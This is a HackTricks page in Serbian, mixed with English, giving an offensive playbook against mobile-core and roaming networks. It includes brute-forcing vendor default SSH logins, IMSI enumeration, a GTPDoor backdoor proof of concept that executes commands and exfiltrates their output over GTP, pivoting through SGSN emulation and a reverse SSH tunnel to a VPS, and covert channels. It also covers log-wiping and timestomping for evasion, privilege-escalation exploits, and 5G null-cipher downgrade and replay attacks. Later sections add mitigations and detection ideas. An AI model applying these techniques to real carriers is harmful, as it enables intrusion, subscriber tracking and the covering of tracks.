Eksploatacija telekom mreža (GTP / Roaming Environments)
Reading time: 10 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
note
Mobilni core protokoli (GPRS Tunnelling Protocol – GTP) često prolaze kroz polu-pouzdane GRX/IPX roaming backbones. Pošto idu preko plain UDP sa gotovo nikakvom autentifikacijom, bilo koja pozicija unutar telekom perimetra obično može direktno dostići core signalling plane. Sledeće beleške prikupljaju ofanzivne trikove primećene u divljini protiv SGSN/GGSN, PGW/SGW i drugih EPC čvorova.
1. Recon & Initial Access
1.1 Default OSS / NE Accounts
Iznenađujuće veliki broj mrežnih elemenata dobavljača dolazi sa hard-coded SSH/Telnet korisnicima kao što su root:admin
, dbadmin:dbadmin
, cacti:cacti
, ftpuser:ftpuser
, … Posvećeni wordlist dramatično povećava uspeh brute-force-a:
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
Ako uređaj izlaže samo management VRF, prvo pivotirajte kroz jump host (pogledajte odeljak «SGSN Emu Tunnel» ispod).
1.2 Otkrivanje hostova unutar GRX/IPX
Većina GRX operatora i dalje dozvoljava ICMP echo preko backbone-a. Kombinujte masscan
sa ugrađenim gtpv1
UDP sondama da brzo mapirate GTP-C slušaoce:
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
2. Enumeracija pretplatnika – cordscan
Sledeći Go alat sastavlja pakete GTP-C Create PDP Context Request i beleži odgovore. Svaki odgovor otkriva trenutni SGSN / MME koji opslužuje upitani IMSI i, ponekad, posećeni PLMN pretplatnika.
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
Ključne opcije:
--imsi
IMSI ciljnog pretplatnika--oper
Home / HNI (MCC+MNC)-w
Zapiši raw packets u pcap
Važne konstante unutar binarnog fajla mogu se izmeniti da bi se obim skeniranja povećao:
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
3. Izvršavanje koda preko GTP – GTPDoor
GTPDoor
je mali ELF servis koji veže UDP 2123 i parsira svaki dolazni GTP-C paket. Kada payload počinje sa pre-shared tag-om, ostatak se dešifruje (AES-128-CBC) i izvršava preko /bin/sh -c
. stdout/stderr se eksfiltriraju unutar Echo Response poruka tako da nikada nije uspostavljena izlazna sesija.
Minimalni PoC packet (Python):
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
Detekcija:
- bilo koji host koji šalje unbalanced Echo Requests prema SGSN IP adresama
- GTP version flag postavljen na 1 dok je message type = 1 (Echo) – odstupanje od specifikacije
4. Pivoting Through the Core
4.1 sgsnemu
+ SOCKS5
OsmoGGSN
isporučuje SGSN emulator sposoban da establish a PDP context towards a real GGSN/PGW. Nakon pregovora, Linux dobija novi tun0
interfejs dostupan sa roaming peer-a.
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
With proper firewall hair-pinning, this tunnel bypasses signalling-only VLANs and lands you directly in the sloj podataka.
4.2 SSH Reverse Tunnel over Port 53
DNS je skoro uvek otvoren u roaming infrastrukturi. Izložite internu SSH uslugu na vašem VPS-u koja sluša na :53 i povežite se kasnije iz kuće:
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
Proverite da li je GatewayPorts yes
omogućen na VPS-u.
5. Tajni kanali
Kanal | Transport | Dekodiranje | Napomene |
---|---|---|---|
ICMP – EchoBackdoor | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | potpuno pasivan, bez odlaznog saobraćaja |
DNS – NoDepDNS | UDP 53 | XOR (key = funnyAndHappy ) enkodirano u oktetima A-record zapisa | posmatra *.nodep poddomen |
GTP – GTPDoor | UDP 2123 | AES-128-CBC blob u private IE | meša se sa legitimnim GTP-C saobraćajem |
Svi implants implementiraju watchdogs koji timestomp njihove binarne fajlove i ponovo ih pokreću ako se sruše.
6. Pregled tehnika izbegavanja detekcije
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
7. Eskalacija privilegija na Legacy NE
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit – CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py
Savet za čišćenje:
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
8. Set alata
cordscan
,GTPDoor
,EchoBackdoor
,NoDepDNS
– custom tooling opisani u prethodnim sekcijama.FScan
: skeniranje intraneta po TCP portovima (fscan -p 22,80,443 10.0.0.0/24
)Responder
: LLMNR/NBT-NS rogue WPADMicrosocks
+ProxyChains
: lagani SOCKS5 pivotingFRP
(≥0.37) : NAT traversal / asset bridging
9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
Procedura registracije u 5G ide preko NAS (Non-Access Stratum) na vrhu NGAP. Dok sigurnost NAS-a nije aktivirana preko Security Mode Command/Complete, inicijalne poruke nisu autentifikovane niti enkriptovane. Ovo pred-bezbednosno vreme omogućava više puteva napada kada možete da posmatrate ili menjate N2 saobraćaj (npr. on-path unutar core-a, lažni gNB, ili testbed).
Tok registracije (pojednostavljeno):
- Registration Request: UE šalje SUCI (šifrovani SUPI) i capabilities.
- Authentication: AMF/AUSF šalju RAND/AUTN; UE vraća RES*.
- Security Mode Command/Complete: pregovaraju se i aktiviraju NAS integrity i ciphering.
- PDU Session Establishment: podešavanje IP/QoS.
Saveti za lab podešavanje (bez RF):
- Core: Open5GS default deployment je dovoljan za reprodukciju toka.
- UE: simulator ili test UE; dekodovati pomoću Wireshark.
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
- Korisni display filteri u Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
Očekivano: UE/USIM mora da šalje SUCI (SUPI enkriptovan javnim ključem home network-a). Pronalazak plaintext SUPI/IMSI u Registration Request ukazuje na propust privatnosti koji omogućava trajno praćenje pretplatnika.
Kako testirati:
- Presretnite prvu NAS poruku u InitialUEMessage i pregledajte Mobile Identity IE.
- Wireshark brze provere:
- Trebalo bi da dekodira kao SUCI, ne IMSI.
- Primer filtera:
nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci
bi trebalo da postoji; odsustvo plus prisustvoimsi
ukazuje na leakage.
Šta prikupiti:
- MCC/MNC/MSIN ako su izloženi; logovati po-UE i pratiti preko vremena/lokacija.
Mitigacija:
- Primorati SUCI-only UEs/USIMs; alarmirati na bilo koji IMSI/SUPI u inicijalnom NAS-u.
9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
Background:
- UE advertises podržane EEA (encryption) i EIA (integrity) u UE Security Capability IE Registration Request-a.
- Uobičajene mape: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 su null algoritmi.
Problem:
- Pošto Registration Request nije integrity zaštićen, on-path napadač može očistiti capability bitove kako bi prisilio izbor EEA0/EIA0 kasnije tokom Security Mode Command. Neki stack-ovi pogrešno dozvoljavaju null algoritme i van emergency servisa.
Ofanzivni koraci:
- Presretnite InitialUEMessage i izmenite NAS UE Security Capability da oglašava samo EEA0/EIA0.
- Sa Sni5Gect, hook-ujte NAS poruku i iscribajte capability bitove pre prosljeđivanja.
- Posmatrajte da li AMF prihvata null ciphers/integrity i završava Security Mode sa EEA0/EIA0.
Verifikacija/vidljivost:
- U Wireshark-u, potvrdite izabrane algoritme nakon Security Mode Command/Complete.
- Primer izlaza pasivnog sniffera:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
Mitigacije (obavezno):
- Konfigurišite AMF/policy da odbija EEA0/EIA0 osim tamo gde je strogo propisano (npr. hitni pozivi).
- Poželjno je primenjivati EEA2/EIA2 kao minimum; logujte i podignite alarm za svaki NAS security context koji pregovara null algorithms.
9.3 Replay of initial Registration Request (pre-security NAS)
Pošto initial NAS nema integritet i svežinu, uhvaćeni InitialUEMessage+Registration Request može biti replayed prema AMF.
PoC pravilo za 5GReplay za prosleđivanje odgovarajućih replays:
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
What to observe:
- Da li AMF prihvata replay i nastavlja sa autentikacijom; nedostatak validacije svežine/konteksta ukazuje na izloženost.
Mitigations:
- Sprovoditi zaštitu od replay-a / vezivanje konteksta na AMF; ograničiti stopu (rate-limit) i korelirati po GNB/UE.
9.4 Tooling pointers (reproducible)
- Open5GS: podignite AMF/SMF/UPF da emulirate core; posmatrajte N2 (NGAP) i NAS.
- Wireshark: proverite dekodiranje NGAP/NAS; primenite gore navedene filtere da izolujete Registration.
- 5GReplay: zabeležite registration, zatim replay-ujte specifične NGAP + NAS poruke prema pravilu.
- Sni5Gect: live sniff/modify/inject NAS control-plane da prisilite null algoritme ili poremete sekvence autentikacije.
9.5 Defensive checklist
- Kontinuirano pregledajte Registration Request na plaintext SUPI/IMSI; blokirajte uređaje/USIMs koji krše pravila.
- Odbacujte EEA0/EIA0 osim u strogo definisanim hitnim procedurama; zahtevajte najmanje EEA2/EIA2.
- Otkrivajte rogue ili pogrešno konfigurisanu infrastrukturu: neautorizovani gNB/AMF, neočekivani N2 peers.
- Alarmirajte za NAS security modes koji rezultuju null algoritmima ili čestim replay-ovima InitialUEMessage.
Detection Ideas
- Any device other than an SGSN/GGSN establishing Create PDP Context Requests.
- Non-standard ports (53, 80, 443) receiving SSH handshakes from internal IPs.
- Frequent Echo Requests without corresponding Echo Responses – might indicate GTPDoor beacons.
- High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields.
- 5G: InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints (replay signal).
- 5G: NAS Security Mode negotiating EEA0/EIA0 outside emergency contexts.
References
- Palo Alto Unit42 – Infiltration of Global Telecom Networks
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
- Demystifying 5G Security: Understanding the Registration Protocol
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.